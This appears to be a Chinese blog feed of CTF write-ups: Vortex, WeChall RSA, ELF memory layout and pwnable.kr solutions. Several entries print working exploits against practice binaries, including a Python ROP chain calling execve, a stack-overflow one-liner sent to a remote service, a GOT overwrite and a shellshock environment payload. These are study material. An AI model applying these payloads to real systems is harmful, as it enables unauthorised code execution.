Quantcast
Channel: 记事本
Viewing all 122 articles
Browse latest View live

vortex15

$
0
0

这道题给了两个文件,一个是加密用的程序,另一个是加密后的文件。加密的方法很简单,就是读plaintext和8 bytes的密码,然后

cipher[i]=key[i%8] ^ (~plain[i])

从文件后缀知道加密的文件是tar.Z格式,但.Z格式搜了下似乎最多3个bytes可以知道,但提示说了密码有8bytes,所以要暴力破解还是有点多……

后来试了下压缩vortex15,这其中compress居然还不在官方源里,要从AUR装ncompress。用

$ tar cf 15.tar vortex15

得到TAR包,然后压缩

$ compress 15.tar

之后我们假定tar.Z文件的起始部分内容应该接近,于是通过XOR得到key的可能值,而且要求key不包含A-Z以外的字符。通过python大概比较了下

#!/usr/bin/pythonimportsysif__name__=="__main__":enc=open(sys.argv[1],"rb").read(64)taz=open(sys.argv[2],"rb").read(64)foriinrange(8):cand=[]forjinrange(8):ch=ord(enc[j*8+i])^(255-ord(taz[j*8+i]))ifch>=ord('A')andch<=ord('Z'):cand.append(chr(ch))print(list(set(cand)))

由magic number of .Z files,前2个bytes确定是ZQ,然后后面的是

['S', 'B', 'K', 'T']
['Q', 'E', 'D']
['A', 'Q']
['D']
['C', 'B', 'S']
['A', 'Z', 'J']

这次暴力破解的计算量就小得多了

#!/bin/bashfor i in S B K T;dofor j in Q E D;dofor k in A Q;dofor l in C B S;dofor m in A Z J;doPASS=ZQ"$i$j$k"D"$l$m"echo`./vortex15 vortex15.tar.Z.enc $PASS| uncompress 2>/dev/null | file -`| grep tar
                    if[$? -eq 0];thenecho"ans is $PASS"exit 0
                    fidonedonedonedonedone

得到密码,用这个运行vortex15,得到压缩文件,解压后得到congrats.txt


save the world

$
0
0

http://www.wechall.net/challenge/Z/save_the_world/index.php

这道题和ISG里的yaya用的是同样的思路,这里再复述一遍。

据说这个方法的名字是Hastad,但我觉得思路其实很简单:

  1. 用中国剩余定理找到c, 使得c%n1=c1, c%n2=c2, c%n3=c3
  2. 求c的立方根p
#!/usr/bin/python2#gcd(a,b) Eucliddefegcd(a,b):ifa==0:return(b,0,1)else:g,y,x=egcd(b%a,a)return(g,x-(b//a)*y,y)#return r such that a*r mod m = 1defmodinv(a,m):g,x,y=egcd(a,m)ifg!=1:print("no inverse")else:returnx%m#n: array of divider#a: array of remainder#lena: length of array n and a(same size)defcRemainder(n,a,lena):p=i=prod=1;sm=0foriinrange(lena):prod*=n[i]foriinrange(lena):p=prod//n[i]sm+=a[i]*modinv(p,n[i])*preturnsm%prod#return r such that r^n = xdefinvpow(x,n):high=1whilehigh**n<x:high*=2low=high/2whilelow<high:mid=(low+high)//2+1iflow<midandmid**n<x:low=midelifhigh>midandmid**n>x:high=midelse:returnmidreturnmid+1if__name__=='__main__':n1=67108337285130152841142557048979836392659321891857101226732337281870319219630063308425261001094568350046449570317350200345069218868069937257334549833448872476614876540784326223874329257870403617101833443821600387071916268539809093718680249166808635061387807508685444808747478914853774065015492846530346393353n2=72291820644801851050330848110159409202048919534527955164120302762396644587973560056961559507263386276590810913644140431966430239440589187607901445455506476844642551722261333276197428423259685681788297978506553640688246992377440543586422646431425963957419557354223431017425961356384309621186050871003908824523n3=104783788987827067930027452786608829382069127222045660514968202129202628419456254428420482380928992774984332897768761789989189306007432083874165500533674664850382891750853847082861247537097054898628900960779958023749459758924880679450916956553601431823839124186749459819727500823704168760828991322166878406679c1=59058347096109371168795252122846264164451858386505373224717251386760070715998321616322872045496360926010965597694014530236569746798289883620698223974595367916085717978321529423973042614191915468707322332091455074345692573515857940306572327140400350462809984034174154399693239167252702004158475615822913969287c2=6883263686330952184273822891213591005924705168937975803056469379223409544614680809888088032770672596940790664538600692174951037808814433024269560545952391984729877968807887091176040788850793084257461538315949143092080737002404840007500340125359757260591604068743351078048379311774951289024843307735044171207c3=31530233954435234871615474461082257860814574852516832348566750745247980529778060741121062564921306275042716802719690563904928683994299563976201039979006456180637367868349438046345194799904021862696709805385084593929161922092328004450918869656249671823890686732759451197371660447696246493681072092464092210096n=[n1,n2,n3]c=[c1,c2,c3]plc=cRemainder(n,c,3)print("c is %d"%plc)plp=invpow(plc,3)ifplp*plp*plp==plc:print("p is %d"%plp)

得到p

在运行python脚本时,发现如果是python3,那么会出现OverflowError,但是用python2就不会。不知道是为什么……

安装metasploit

$
0
0

首先是ruby1.9,因为版本低,所以从aur里装的。为了方便起见,把PKGBUILD里面涉及到的后缀1.9全部去掉,方便。再给gemrc文件里加上 gem: --no-ri --no-rdoc

gemrc文件可以通过

$ strace gem  2>&1 | grep gemrc

找到在哪里。

还需要bundle来管理gems

$ gem install bundler

然后是psql。安装完psql后初始化data:

$ sudo -u postgres initdb --locale en_US.UTF-8 -E UTF8 -D '/var/lib/postgres/data'

运行psql,然后换成postgresql用户,创建用户

$ createuser --interactive

因为pg_hba.conf里设定验证方式是trust,所以没有密码。

然后创建数据库

$ createdb --owner msfUser msfDatabase

把metasploit下载下来之后,我们用bundle install来安装需要的gem包。装完之后运行说还缺少robots,但robots确实安装了。检查后发现是robots那个文件夹里的东西几乎都是other没有任何权限的,又是属于root用户root组。于是给other加上read权限。

为了方便,再把全部msf*放在bin里

$ for f in msf*; do _bin="/usr/bin/$f"; echo "ruby $(realpath $f) \"\$@\""> $_bin; chmod 755 $_bin; done

然后把psql的帐号给msf。在$HOME/.msf4下面创建一个database.yml:

production:
   adapter: postgresql
   database: msfDatabase
   username: msfUser
   host: 127.0.0.1
   port: 5432
   pool: 75
   timeout: 5

ELF segments and sections

$
0
0

有时候需要搞明白ELF文件里哪些部分是可写的,之前一直是稀里糊涂的,没有仔细去研究。今天稍微看了一下manpage,并动手试了下,大概明白了segments和sections之间的关系。

以下内容是基于我自己的理解写的,所以有些部分可能并不准确。

首先是两个概念,segments和sections,这两个是完全不同的。ELF文件除了ELF header,还有program header和section header:program header对应的是segments,而section header对应的是sections。

具体地,这两者之间有如下关系:

  1. 每个segments可以包含多个sections
  2. 每个sections可以属于多个segments
  3. segments之间可以有重合的部分

首先来看sections:

lrk@laptop:~/tmp/CTF/ISG/pwnme$ readelf -WS pwnme 
There are 28 section headers, starting at offset 0x1170:

Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            0000000000400254 000254 000020 00   A  0   0  4
  [ 3] .note.gnu.build-id NOTE            0000000000400274 000274 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 00001c 00   A  5   0  8
  [ 5] .dynsym           DYNSYM          00000000004002b8 0002b8 000090 18   A  6   1  8
  [ 6] .dynstr           STRTAB          0000000000400348 000348 000049 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0000000000400392 000392 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         00000000004003a0 0003a0 000020 00   A  6   1  8
  [ 9] .rela.dyn         RELA            00000000004003c0 0003c0 000018 18   A  5   0  8
  [10] .rela.plt         RELA            00000000004003d8 0003d8 000078 18   A  5  12  8
  [11] .init             PROGBITS        0000000000400450 000450 00001a 00  AX  0   0  4
  [12] .plt              PROGBITS        0000000000400470 000470 000060 10  AX  0   0 16
  [13] .text             PROGBITS        00000000004004d0 0004d0 0001a2 00  AX  0   0 16
  [14] .fini             PROGBITS        0000000000400674 000674 000009 00  AX  0   0  4
  [15] .rodata           PROGBITS        0000000000400680 000680 000018 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        0000000000400698 000698 000034 00   A  0   0  4
  [17] .eh_frame         PROGBITS        00000000004006d0 0006d0 0000f4 00   A  0   0  8
  [18] .init_array       INIT_ARRAY      0000000000600e10 000e10 000008 00  WA  0   0  8
  [19] .fini_array       FINI_ARRAY      0000000000600e18 000e18 000008 00  WA  0   0  8
  [20] .jcr              PROGBITS        0000000000600e20 000e20 000008 00  WA  0   0  8
  [21] .dynamic          DYNAMIC         0000000000600e28 000e28 0001d0 10  WA  6   0  8
  [22] .got              PROGBITS        0000000000600ff8 000ff8 000008 08  WA  0   0  8
  [23] .got.plt          PROGBITS        0000000000601000 001000 000040 08  WA  0   0  8
  [24] .data             PROGBITS        0000000000601040 001040 000010 00  WA  0   0  8
  [25] .bss              NOBITS          0000000000601050 001050 000008 00  WA  0   0  1
  [26] .comment          PROGBITS        0000000000000000 001050 000024 01  MS  0   0  1
  [27] .shstrtab         STRTAB          0000000000000000 001074 0000f8 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

可以看到,这个ELF文件里有28个sections。经常提到的比如.text, .bss, .got

然后来看segments:

lrk@laptop:~/tmp/CTF/ISG/pwnme$ readelf -Wl pwnme 

Elf file type is EXEC (Executable file)
Entry point 0x4004d0
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R E 0x8
  INTERP         0x000238 0x0000000000400238 0x0000000000400238 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x0007c4 0x0007c4 R E 0x200000
  LOAD           0x000e10 0x0000000000600e10 0x0000000000600e10 0x000240 0x000248 RW  0x200000
  DYNAMIC        0x000e28 0x0000000000600e28 0x0000000000600e28 0x0001d0 0x0001d0 RW  0x8
  NOTE           0x000254 0x0000000000400254 0x0000000000400254 0x000044 0x000044 R   0x4
  GNU_EH_FRAME   0x000698 0x0000000000400698 0x0000000000400698 0x000034 0x000034 R   0x4
  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10
  GNU_RELRO      0x000e10 0x0000000000600e10 0x0000000000600e10 0x0001f0 0x0001f0 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .jcr .dynamic .got

看到这里有9个segments。只得注意的是GNU_STACK是RW,没有E,说明栈是不可执行的。

似乎sections的名字都是小写,segments的名字都是大写。

通过这些具体输出,再回顾下前面所说的3条:

  1. 每个segments可以包含多个sections。这可以从”Section to Segment mapping”这里看到,比如说,segment 08是GNU_RELRO,包含了.init_array, .fini_array, .jcr, .dynamic, .got这5个sections
  2. 每个sections可以属于多个segments。比如说,.got既在segment 03(LOAD)里,也在segment 08(GNU_RELRO)里
  3. segments之间可以有重合的部分。这可以从第2点推出的。或者我们直接看segments的地址,还以segment 03和08为例,第二个LOAD(segment 03)的地址是0x600e10, 大小是0x240;而GNU_RELRO的地址也是0x600e10,不过大小只有0x1f0。如果我们结合着前面sections的地址来看,会更清楚。

对于exploit来说,会关心程序运行时哪些内存地址是可写、可执行的。而

the segments contain information needed at runtime, while the sections contain information needed during linking

因此应该多关注segments的信息。

以上面的文件为例,我们看下程序执行时的memory maps:

gdb-peda$ vmmap
Start              End                Perm      Name
0x00400000         0x00401000         r-xp      /home/lrk/tmp/CTF/ISG/pwnme/pwnme
0x00600000         0x00601000         r--p      /home/lrk/tmp/CTF/ISG/pwnme/pwnme
0x00601000         0x00602000         rw-p      /home/lrk/tmp/CTF/ISG/pwnme/pwnme
0x00007ffff7a38000 0x00007ffff7bd1000 r-xp      /usr/lib/libc-2.20.so
0x00007ffff7bd1000 0x00007ffff7dd1000 ---p      /usr/lib/libc-2.20.so
0x00007ffff7dd1000 0x00007ffff7dd5000 r--p      /usr/lib/libc-2.20.so
0x00007ffff7dd5000 0x00007ffff7dd7000 rw-p      /usr/lib/libc-2.20.so
0x00007ffff7dd7000 0x00007ffff7ddb000 rw-p      mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp      /usr/lib/ld-2.20.so
0x00007ffff7fcf000 0x00007ffff7fd2000 rw-p      mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p      [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp      [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p      /usr/lib/ld-2.20.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p      /usr/lib/ld-2.20.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p      mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp      [vsyscall]

第一个LOAD0x400000开始,长度是0x7c4,属性是R E。对应在mem maps中,确实0x400000的那一个page是r-x。注意这里segment的大小是0x7c4,比一个page的大小0x1000要小;所以0x400000开始的整个page都是r-x

第二个LOAD0x600e10开始,长度是0x240,到0x600e10+0x240=0x601050。而这样的话这一段segments就跨过了0x6000000x601000两个page。实际在mem maps中,我们看到0x600000那个page是r–的,而0x601000那个page是rw-的。这似乎与第二个LOADRW 有点变化。

实际上,我们再看GNU_RELRO那个segment,它也是从0x600e10开始,长度0x1f0,正好在0x600000那个page里。而GNU_RELRO这个segment的属性是R,所以0x600000那个page也就成了r–了;而下一page, 0x601000,还是rw-的

另外,我们再看看那两个segments所包含的sections,发现.init_array, .fini_array, .jcr, .dynamic, .got这5个sections虽然在第二个LOAD里,但他们也是在GNU_RELRO里,所以不可写的;剩下的.got.plt, .data, .bss则是可写的。之前用的改库函数地址,实际上就是改.got.plt

fd

$
0
0

1分的题……

#include <stdio.h>#include <stdlib.h>#include <string.h>charbuf[32];intmain(intargc,char*argv[],char*envp[]){if(argc<2){printf("pass argv[1] a number\n");return0;}intfd=atoi(argv[1])-0x1234;intlen=0;len=read(fd,buf,32);if(!strcmp("LETMEWIN\n",buf)){printf("good job :)\n");system("/bin/cat flag");exit(0);}printf("learn about Linux file IO\n");return0;}

stdin是fd 0,0x12344660。所以

$ echo LETMEWIN | ./fd 4660

unexploitable

$
0
0

这次是500分的rop

#include <stdio.h>voidmain(){printf("Not all the bugs are exploitable.\n");printf("Try to exploit this one and you will see.\n");printf("Or.. maybe you can prove otherwise :)\n");// exploit meintbuf[4];read(0,buf,1295);}

溢出很明显。但单看C代码,信息量太小,必须看汇编。

由于开了NX和ASLR,只能ROP了。由于在0x40056f处有syscall,所以我的思路是执行execve("/bin/sh",["/bin/sh",NULL],...)

具体地,我跳了好几次

  1. 溢出,返回再次read,而且把rbp设到可写的0x601xxx那里;
  2. 由于rbpdata段,这次的read,可以确定所写东西的地址。我们把第3次用到的栈上的数据写到这里。由于上次的rbp可控,当执行完readleave;ret时 ,我们让他跳到第3次read
  3. 这次是将字符串/bin/sh和地址写到固定地址。这样就把execve的参数准备好了。这次结束后,返回到0x4005f6
  4. 通过一系列mov ...,把各个寄存器的值设好。然后返回0x4005e0
  5. 这里就通过设rdx等寄存器,call qword [r12+rbx*8]来执行最终的execve

大体思路就是这样。然后比较麻烦的是,我不知道怎么与他交互……pwntool用不了,python还是不熟……于是最后用的是将flag文件拷贝一份为可读的……

下面是代码

#!/usr/bin/env python2fromstructimport*importsubprocessimporttimesh="/bin/sh\x00"cmd="install -m666 /home/unexploitable/flag /tmp/flag1\n"data1=0x601100data2=0x601200payload1="A"*0x10payload1+=pack("<Q",data1+0x10)#saved rbppayload1+=pack("<Q",0x40056a)#ret addr: ...; read#data1payload2="B"*0x10payload2+=pack("<Q",data2+0x10)#saved rbppayload2+=pack("<Q",0x40056a)#ret addr: ...; readpayload2+="B"*0x8payload2+=pack("<Q",0x4005f6)#ret addr: mov reg ...payload2+=pack("<Q",0x40056f)#0f05 syscallpayload2+=pack("<Q",0)#rbxpayload2+=pack("<Q",0)#rbppayload2+=pack("<Q",data1+0x10+0x8+0x8+0x8+0x8)#r12payload2+=pack("<Q",data2+0x10+0x8+0x8)#r13 -> edi -> '/bin/sh'payload2+=pack("<Q",data2+0x10+0x8+0x8+len(sh))#r14 -> rsi -> argvpayload2+=pack("<Q",data2+0x10+0x8+0x8+len(sh))#r15 -> rdx -> envppayload2+=pack("<Q",0x4005e0)#ret addr: mov r13 edi; ...#data2payload3="C"*0x10payload3+=pack("<Q",data1+0x20)#saved rbppayload3+=pack("<Q",0x400585)#ret addr: leave; retpayload3+=shpayload3+=pack("<Q",data2+0x10+0x8+0x8)payload3+=pack("<Q",0)payload3+="C"*(0x3b-0x10-0x8-0x8-len(sh)-0x8-0x8)exe=subprocess.Popen(["/home/unexploitable/unexploitable"],stdin=subprocess.PIPE)exe.stdin.write(payload1)time.sleep(1)exe.stdin.write(payload2)time.sleep(1)exe.stdin.write(payload3)time.sleep(1)print"======="exe.stdin.write(cmd)

bof

$
0
0

代码如下

#include <stdio.h>#include <string.h>#include <stdlib.h>voidfunc(intkey){charoverflowme[32];printf("overflow me : ");gets(overflowme);if(key==0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}}intmain(intargc,char*argv[]){func(0xdeadbeef);return0;}

可以看到很明显的溢出。我们之需要看汇编确定具体距离就行

0000062c <func>:
 62c:   55                      push   %ebp
 62d:   89 e5                   mov    %esp,%ebp
 62f:   83 ec 48                sub    $0x48,%esp
 632:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 638:   89 45 f4                mov    %eax,-0xc(%ebp)
 63b:   31 c0                   xor    %eax,%eax
 63d:   c7 04 24 8c 07 00 00    movl   $0x78c,(%esp)
 644:   e8 fc ff ff ff          call   645 <func+0x19>
 649:   8d 45 d4                lea    -0x2c(%ebp),%eax
 64c:   89 04 24                mov    %eax,(%esp)
 64f:   e8 fc ff ff ff          call   650 <func+0x24>
 654:   81 7d 08 be ba fe ca    cmpl   $0xcafebabe,0x8(%ebp)
 65b:   75 0e                   jne    66b <func+0x3f>
 65d:   c7 04 24 9b 07 00 00    movl   $0x79b,(%esp)
 664:   e8 fc ff ff ff          call   665 <func+0x39>
 669:   eb 0c                   jmp    677 <func+0x4b>
 66b:   c7 04 24 a3 07 00 00    movl   $0x7a3,(%esp)
 672:   e8 fc ff ff ff          call   673 <func+0x47>
 677:   8b 45 f4                mov    -0xc(%ebp),%eax
 67a:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 681:   74 05                   je     688 <func+0x5c>
 683:   e8 fc ff ff ff          call   684 <func+0x58>
 688:   c9                      leave
 689:   c3                      ret

buffer到目的地的距离是0x2c+0x8=52。所以

$ (perl -e 'print "A"x52 . "\xbe\xba\xfe\xca\n"'; cat - ) | nc pwnable.kr 9000

collision

$
0
0

代码如下

#include <stdio.h>#include <string.h>unsignedlonghashcode=0x21DD09EC;unsignedlongcheck_password(constchar*p){int*ip=(int*)p;inti;intres=0;for(i=0;i<5;i++){res+=ip[i];}returnres;}intmain(intargc,char*argv[]){if(argc<2){printf("usage : %s [passcode]\n",argv[0]);return0;}if(strlen(argv[1])!=20){printf("passcode length should be 20 bytes\n");return0;}if(hashcode==check_password(argv[1])){system("/bin/cat flag");return0;}elseprintf("wrong passcode.\n");return0;}

从题意来看,输入5个int共20bytes,其和要求为0x21DD09EC。于是可以让前4个数为0xffffffff=-1,最后一个数为0x21dd09ec+4=0x21dd09f0

具体在输入时,用的是perl。一开始没有用双引号,由于0x09\t,被shell认为是参数分隔了。于是用双引号括起来:

$ ./col "$(perl -e 'print "\xff"x16 . "\xf0\x09\xdd\x21"')"

flag

$
0
0

直接用IDA打开,居然连输出的字符串都找不到…于是通过strings发现文件是被UPX压缩了。下载UPX,用upx -d flag解压缩后,直接找到flag地址。或者再用strings

input

$
0
0

代码如下

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>intmain(intargc,char*argv[],char*envp[]){printf("Welcome to pwnable.kr\n");printf("Let's see if you know how to give input to program\n");printf("Just give me correct inputs then you will get the flag :)\n");// argvif(argc!=100)return0;if(strcmp(argv['A'],"\x00"))return0;if(strcmp(argv['B'],"\x20\x0a\x0d"))return0;printf("Stage 1 clear!\n");// stdiocharbuf[4];read(0,buf,4);if(memcmp(buf,"\x00\x0a\x00\xff",4))return0;read(2,buf,4);if(memcmp(buf,"\x00\x0a\x02\xff",4))return0;printf("Stage 2 clear!\n");// envif(strcmp("\xca\xfe\xba\xbe",getenv("\xde\xad\xbe\xef")))return0;printf("Stage 3 clear!\n");// fileFILE*fp=fopen("\x0a","r");if(!fp)return0;if(fread(buf,4,1,fp)!=1)return0;if(memcmp(buf,"\x00\x00\x00\x00",4))return0;fclose(fp);printf("Stage 4 clear!\n");// networkintsd,cd;structsockaddr_insaddr,caddr;sd=socket(AF_INET,SOCK_STREAM,0);if(sd==-1){printf("socket error, tell admin\n");return0;}saddr.sin_family=AF_INET;saddr.sin_addr.s_addr=INADDR_ANY;saddr.sin_port=htons(atoi(argv['C']));if(bind(sd,(structsockaddr*)&saddr,sizeof(saddr))<0){printf("bind error, use another port\n");return1;}listen(sd,1);intc=sizeof(structsockaddr_in);cd=accept(sd,(structsockaddr*)&caddr,(socklen_t*)&c);if(cd<0){printf("accept error, tell admin\n");return0;}if(recv(cd,buf,4,0)!=4)return0;if(memcmp(buf,"\xde\xad\xbe\xef",4))return0;printf("Stage 5 clear!\n");// here's your flagsystem("/bin/cat flag");return0;}

好吧,这道题考的是linux编程,神烦……

没有太多要说的,socket那块,开始parent没有sleep,结果总是Connection refused。于是后来让他先等一会再去连,就好了。

另外,由于我的程序是在/tmp下面,这里可以写。但到最后读flag内容时,flag并不在当前目录/tmp下。所以我们需要首先把flag文件链接到这里

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <sys/socket.h>#include <arpa/inet.h>intmain(){char*argv[101]={[0...99]="A"};argv['A']="\x00";argv['B']="\x20\x0a\x0d";argv['C']="55555";char*envp[2]={"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"};intpipe1[2],pipe2[2];if(pipe(pipe1)==-1||pipe(pipe2)==-1){printf("error pipe\n");exit(1);}FILE*fp=fopen("\x0a","w");fwrite("\x00\x00\x00\x00",4,1,fp);fclose(fp);if(fork()==0){dup2(pipe1[0],0);close(pipe1[0]);close(pipe1[1]);dup2(pipe2[0],2);close(pipe2[0]);close(pipe2[1]);execve("/home/input/input",argv,envp);}else{write(pipe1[1],"\x00\x0a\x00\xff",4);write(pipe2[1],"\x00\x0a\x02\xff",4);sleep(5);structsockaddr_inservaddr;intsock=socket(AF_INET,SOCK_STREAM,0);memset(&servaddr,0,sizeof(servaddr));servaddr.sin_family=AF_INET;servaddr.sin_port=htons(atoi(argv['C']));servaddr.sin_addr.s_addr=inet_addr("127.0.0.1");connect(sock,(structsockaddr*)&servaddr,sizeof(servaddr));send(sock,"\xde\xad\xbe\xef",4,0);close(sock);intstat;wait(&stat);unlink("\x0a");return0;}}

passcode

$
0
0

代码如下

#include <stdio.h>#include <stdlib.h>voidlogin(){intpasscode1;intpasscode2;printf("enter passcode1 : ");scanf("%d",passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d",passcode2);printf("checking...\n");if(passcode1==338150&&passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}}voidwelcome(){charname[100];printf("enter you name : ");scanf("%100s",name);printf("Welcome %s!\n",name);}intmain(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return0;}

问题出在login()中,scanf的第二个参数给的不是变量的地址。如果passcode1passcode2的初始值指向不可写的地方,而且scanf成功,那么就会segfault

于是思路就是,在login()执行前,在welcome()中把栈上的值设好。所以这道题和OverTheWire上的Manpage里一道题思路有相似的地方

具体地,namewelcome()中的地址是ebp-0x70passcode1passcode2login()中的地址是ebp-0x10ebp-0xc。正好我们只能改写passcode1,改不了passcode2。于是单纯地想把两个都修改为检查值的方法行不通了

但是我们发现,passcode1那里由于scanf,可以做到写4 bytes到任意地址。所以我们可以修改程序流程,让他跳到system读flag那里。

而由于ASLR,想修改返回地址不靠谱,于是我们可以修改exit@got。这样检查失败后,调用exit(0)就成了system("/bin/cat flag");

readelf -r passcode可知exit@got0x0804a018,于是把passcode1设为它;然后通过scanf将其改为0x080485e3=134514147。注意我们要让passcode2scanf时不能segfault,于是输入非数字让scanf失败

$ perl -e 'print "A"x96 . "\x18\xa0\x04\x08" . "134514147\n" . "f\n"' | ./passcode

random

$
0
0

代码如下

#include <stdio.h>intmain(){unsignedintrandom;random=rand();// random value!unsignedintkey=0;scanf("%d",&key);if((key^random)==0xdeadbeef){printf("Good!\n");system("/bin/cat flag");return0;}printf("Wrong, maybe you should try 2^32 cases.\n");return0;}

rand()并没有真的随机化,manpage里说

If no seed value is provided, the rand() function is automatically seeded with a value of 1.

是用gdb得到这个所谓的随机值,是0x6b8b4567,所以我们输入0x6b8b4567^0xdeadbeef=3039230856就行。

shellshock

$
0
0

好吧,从这名字就知道是怎么回事儿了,前端时间爆出来的shellshock漏洞。我们需要执行cat flag就行。不过我开始试cat会说找不到文件,于是用/bin/cat

$ env x='() { :;}; /bin/cat flag' ./shellshock

火车运煤问题

$
0
0

今天比赛有一道逻辑题,是这么说的(大意):

小明要穿越荒野,距离目的地有600公里。他身上最多可以携带300单位的补给,而且每走1公里会消耗1单位的补给。假设他可以在中途任意设置补给点存放补给。那么要走600公里,出发点至少要有多少单位的补给?如果出发点有3300单位的补给,他最远能走多远?

这类题目以前在网上看到过,不过当时是火车运煤。再次回顾整理了下,找到了思路。

首先,小明肯定要多次折返,不断地把物资向前搬运。由直觉可知,每次折返,出发前尽量多装,返回时最好不要有剩余,这样向前搬运的最多最远。由于最多可以带300单位,所以每次折返,出发点的补给会少300。

于是我们先考虑第二问,因为这一问相对来说更直观。由于3300是300的整数倍,所以按每次折返消耗掉(包括放置在补给点的)300单位计算,需11次折返;而其实最后一次是不需要回到出发点的,因为这次已经把全部物资都搬走了,所以共11*2-1=21个单程。

那么这第一个补给点应该设在哪里呢?另一个直觉是,如果将这个补给点视为新的出发点,那么这个出发点的物资会比最开始的少,而且我们希望往下一个补给点搬运时折返次数少一些。具体地,我们希望第1个补给点的物资量是300的整数倍,因为这样不会有浪费,即最后一个折返的单程没有装满。所以这里我们让第一个补给点还留有3000单位的补给,即从出发到这个补给点消耗300单位,那么路程就是300/21。

以此类推,下个补给点的物资量是2700,折返还是消耗300,即第一个和第二个补给点相距300/19。这里19是因为运第一个补给点的3000需要(3000/300)*2-1=19个单程。

到最后一个补给点,剩300单位,到这里我们把这300全部拿上,一直走到底。

所以,这3300单位的补给,最远可以走300(1+1/3+1/5+…+1/21)

知道了第二问的方法,第一问就清晰多了。不同之处是我们需要反过来算初始单位量。通过简单计算发现,2100单位的补给还不足以走600公里,而2400单位的补给就可以走超过600公里了。于是所需单位量应该在2100和2400之间。

假设初始单位量是2100+x,x<300。那么从出发点搬运到第一个补给点我们仍然需要15个单程,而且最后一次只搬了x单位,没有装满,有些浪费。因此,到第一个补给点后,我们不希望再有这样的浪费,即到这个补给点的物资量应留为300的整数倍。具体地,第一个补给点剩下2100单位,即出发点到这个补给点消耗了x单位,距离是x/15。在此之后,就和第一问的思路一样了。

所以,2100+x最远可以走x/15+300(1+1/3+…+1/13)。令其等于600,可以得到x的值。

综上,这类题目的一般性结论为:

假设出发点有M单位,每次最大携带N单位。令k是小于M/N的最大整数,则最远到达距离为N*(1+1/3+1/5+…+1/(2k-1))+(M-Nk)/(2k+1)

Whitespace programming language

$
0
0

今天做题遇到了一道很奇怪的题目。他给了一个cpp文件

单看代码,似乎只是把普通的c++代码添加里很多tab,空格,并没有什么奇怪的地方。用g++编译后,执行得到说FROG_This_is_wrong_:(。看来是另有玄机。

后来搜里下,找到了一种奇葩的编程语言,whitespace。具体在这里有更详细的介绍。简单地说,它是只考虑空白字符,通过特定的组合对应特定的指令。

然后找这个语言的编译器,发现里这里有用python实现的一个。更奇葩的是,它本身的python脚本是还是组成了一个人物头像,这帮人怎么就这么爱玩啊……一直以为python缩进管的很严格的,这次真是见到奇葩了

具体地,用python esotope-ws -d program.cpp program.wsa得到“汇编”代码。其内容如下(我添加了一些注释。由于不知到用什么注释符号,就用//了)

  push 80 //P
  putchar
  push 73 //I
  putchar
  push 78 //N
  putchar
  push 58 //:
  putchar
  push 32 //space
  putchar
  push 0 
  getint //store the input int at position '0'
  push 0
  retrieve //put content at position '0' to top of the stack
  push 33355524
  sub
  jz label1_1 //input-33355524
  push 78 //N
  putchar
  push 79 //O
  putchar
  halt
label1_1:
  push 79 //O
  putchar
  push 75 //K
  putchar
  push 10 //\n
  putchar
  push 0
  retrieve //input must be 33355524
  push 33355454
  sub
  dup
  putchar //F
  push 6 
  add
  dup
  putchar //L
  push 11
  sub
  dup
  putchar //A
  push 6
  add
  dup
  putchar //G
  push 24
  add
  dup
  putchar //underscore
  push 26
  sub
  dup
  putchar //E
  push 40
  add
  dup
  putchar
  push 25
  sub
  dup
  putchar
  push 36
  add
  dup
  putchar
  push 66
  sub
  dup
  putchar
  push 16
  add
  dup
  putchar
  push 14
  add
  dup
  putchar
  push 14
  add
  dup
  putchar
  push 27
  sub
  dup
  putchar
  push 5
  add
  dup
  putchar
  push 29
  add
  dup
  putchar
  push 4
  sub
  dup
  putchar
  push 4
  add
  dup
  putchar
  push 28
  sub
  dup
  putchar
  push 22
  add
  dup
  putchar
  push 34
  sub
  dup
  putchar
  push 55
  sub
  dup
  putchar
  halt

